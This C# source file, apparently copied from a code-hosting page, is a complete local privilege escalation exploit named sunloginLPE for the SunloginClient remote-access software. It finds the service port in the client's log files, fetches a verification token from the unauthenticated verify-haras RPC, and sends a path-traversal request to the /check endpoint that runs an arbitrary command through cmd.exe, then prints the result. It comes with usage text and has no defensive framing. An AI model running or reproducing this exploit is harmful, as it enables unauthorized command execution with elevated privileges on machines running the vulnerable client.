150 lines
5.6 KiB
C#
150 lines
5.6 KiB
C#
using System;
|
||
using System.Collections.Generic;
|
||
using System.IO;
|
||
using System.Linq;
|
||
using System.Text;
|
||
using System.Threading.Tasks;
|
||
using System.Text.RegularExpressions;
|
||
using System.Net;
|
||
|
||
namespace sunloginLPE
|
||
{
|
||
|
||
internal class Program
|
||
{
|
||
static string GetLatestFiles(string Path, int count)
|
||
{
|
||
var query = (from f in Directory.GetFiles(Path)
|
||
let fi = new FileInfo(f)
|
||
orderby fi.CreationTime descending
|
||
select fi.FullName).Take(count);
|
||
string[] files = query.ToArray();
|
||
for (int i = 0; i < files.Length; i++)
|
||
{
|
||
if (files[i].Contains("sunlogin_service."))
|
||
{
|
||
return files[i];
|
||
}
|
||
}
|
||
Console.WriteLine("[-] logFile not found");
|
||
return "";
|
||
}
|
||
static string getPort(string path)
|
||
{
|
||
string logFile = GetLatestFiles(path + "\\log", 2);
|
||
string port = "";
|
||
string s;
|
||
if (logFile != "")
|
||
{
|
||
FileStream fs = new FileStream(logFile, FileMode.Open, FileAccess.Read, FileShare.ReadWrite);
|
||
StreamReader sr = new StreamReader(fs, System.Text.Encoding.Default);
|
||
s = sr.ReadToEnd();
|
||
string pattern = @"\bstart listen OK\S*\,";
|
||
string pattern2 = @"\d{5}";
|
||
string res = "";
|
||
MatchCollection mc = Regex.Matches(s, pattern);
|
||
foreach (Match m in mc)
|
||
res = m.Value;
|
||
MatchCollection mc2 = Regex.Matches(res, pattern2);
|
||
foreach (Match m2 in mc2)
|
||
port = m2.Value;
|
||
}
|
||
return port;
|
||
|
||
}
|
||
|
||
private static String HttpGet(string url, string requestData)
|
||
{
|
||
// 实例化请求对象
|
||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + "?" + requestData);
|
||
request.Method = "GET";
|
||
request.ContentType = "text/html; charset=UTF-8";
|
||
|
||
// 实例化响应对象,获取响应信息
|
||
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
|
||
Stream responseStream = response.GetResponseStream();
|
||
StreamReader sReader = new StreamReader(responseStream, Encoding.Default);
|
||
String result = sReader.ReadToEnd();
|
||
sReader.Close();
|
||
responseStream.Close();
|
||
return result;
|
||
}
|
||
|
||
private static String HttpGetWithCookie(string url, string requestData,string cookie)
|
||
{
|
||
// 实例化请求对象
|
||
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(url + "?" + requestData);
|
||
request.Method = "GET";
|
||
request.ContentType = "text/html; charset=UTF-8";
|
||
request.Headers.Add("Cookie", "CID=" + cookie);
|
||
|
||
// 实例化响应对象,获取响应信息
|
||
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
|
||
Stream responseStream = response.GetResponseStream();
|
||
StreamReader sReader = new StreamReader(responseStream, Encoding.Default);
|
||
String result = sReader.ReadToEnd();
|
||
sReader.Close();
|
||
responseStream.Close();
|
||
return result;
|
||
}
|
||
static string exp(string SunloginClient_port,string ExecCmd)
|
||
{
|
||
String targetUrl = "http://127.0.0.1:" + SunloginClient_port + "/cgi-bin/rpc";
|
||
String response = HttpGet(targetUrl, "action=verify-haras");
|
||
string pattern = "verify_string\":\"(\\w+)?\"";
|
||
string cid = "";
|
||
MatchCollection mc = Regex.Matches(response, pattern);
|
||
foreach (Match m in mc)
|
||
cid = m.Value;
|
||
cid = cid.Replace("\"", "").Replace("verify_string:", "");
|
||
Console.WriteLine("[+] CID=" +cid);
|
||
|
||
targetUrl = "http://127.0.0.1:" + SunloginClient_port + "/check";
|
||
response = HttpGetWithCookie(targetUrl, "cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows\\system32\\cmd.exe+/c+" + ExecCmd.Replace(" ","+"),cid);
|
||
|
||
return response;
|
||
}
|
||
static void Main(string[] args)
|
||
{
|
||
|
||
Console.WriteLine("[!] Usage: sunloginLPE.exe Cmd [sunloginClientPath](DefaultPath = C:\\Program Files\\Oray\\SunLogin\\SunloginClient)");
|
||
string defaultPath = "C:\\Program Files\\Oray\\SunLogin\\SunloginClient";
|
||
string cmd = "";
|
||
string path = defaultPath;
|
||
string port = "";
|
||
if(args.Length == 1)
|
||
{
|
||
cmd = args[0];
|
||
}
|
||
else if(args.Length == 2)
|
||
{
|
||
cmd=args[0];
|
||
path =args[1];
|
||
}
|
||
else
|
||
{
|
||
Console.WriteLine("[-] wrong number of parameters");
|
||
System.Environment.Exit(0);
|
||
}
|
||
try
|
||
{
|
||
port = getPort(path);
|
||
if(port != "")
|
||
{
|
||
Console.WriteLine("[+] SunloginClient port is " + port);
|
||
}
|
||
else
|
||
{
|
||
Console.WriteLine("[-] SunloginClient port not found");
|
||
System.Environment.Exit(0);
|
||
}
|
||
Console.WriteLine("[+] 命令执行结果: \n" + exp(port, cmd));
|
||
}
|
||
catch(Exception ex)
|
||
{
|
||
Console.WriteLine("[-] " + ex.ToString());
|
||
}
|
||
}
|
||
}
|
||
}
|